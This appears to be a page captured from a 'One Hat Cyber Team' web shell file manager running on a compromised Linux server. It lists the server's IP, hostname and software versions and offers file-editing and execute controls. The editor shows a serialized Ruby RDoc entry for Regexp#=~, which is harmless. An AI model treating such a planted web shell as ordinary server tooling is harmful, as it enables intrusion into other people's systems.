⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.93
Server IP:
65.108.141.171
Server:
Linux server.heloix.com 5.4.0-214-generic #234-Ubuntu SMP Fri Mar 14 23:50:27 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
7.4.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
ri
/
2.7.0
/
system
/
Regexp
/
Edit File: %3d%7e-i.ri
U:RDoc::AnyMethod[iI"=~:ETI"Regexp#=~;TF:publico:RDoc::Markup::Document:@parts[o:RDoc::Markup::Paragraph; [I"3Match---Matches <i>rxp</i> against <i>str</i>.;To:RDoc::Markup::BlankLine o:RDoc::Markup::Verbatim; [I""/at/ =~ "input data" #=> 7 ;TI"$/ax/ =~ "input data" #=> nil ;T:@format0o; ; [I"KIf <code>=~</code> is used with a regexp literal with named captures, ;TI"Gcaptured strings (or nil) is assigned to local variables named by ;TI"the capture names.;T@o;; [I"4/(?<lhs>\w+)\s*=\s*(?<rhs>\w+)/ =~ " x = y " ;TI"p lhs #=> "x" ;TI"p rhs #=> "y" ;T; 0o; ; [I"=If it is not matched, nil is assigned for the variables.;T@o;; [I"1/(?<lhs>\w+)\s*=\s*(?<rhs>\w+)/ =~ " x = " ;TI"p lhs #=> nil ;TI"p rhs #=> nil ;T; 0o; ; [I"8This assignment is implemented in the Ruby parser. ;TI"KThe parser detects 'regexp-literal =~ expression' for the assignment. ;TI"UThe regexp must be a literal without interpolation and placed at left hand side.;T@o; ; [I"BThe assignment does not occur if the regexp is not a literal.;T@o;; [ I"*re = /(?<lhs>\w+)\s*=\s*(?<rhs>\w+)/ ;TI"re =~ " x = y " ;TI")p lhs # undefined local variable ;TI")p rhs # undefined local variable ;T; 0o; ; [I"=A regexp interpolation, <code>#{}</code>, also disables ;TI"the assignment.;T@o;; [I"rhs_pat = /(?<rhs>\w+)/ ;TI"//(?<lhs>\w+)\s*=\s*#{rhs_pat}/ =~ "x = y" ;TI")p lhs # undefined local variable ;T; 0o; ; [I"RThe assignment does not occur if the regexp is placed at the right hand side.;T@o;; [I"4" x = y " =~ /(?<lhs>\w+)\s*=\s*(?<rhs>\w+)/ ;TI"*p lhs, rhs # undefined local variable;T; 0: @fileI" re.c;T:0@omit_headings_from_table_of_contents_below0I"%rxp =~ str -> integer or nil ;T0[ I" (p1);T@CFI"Regexp;TcRDoc::NormalClass00
Simpan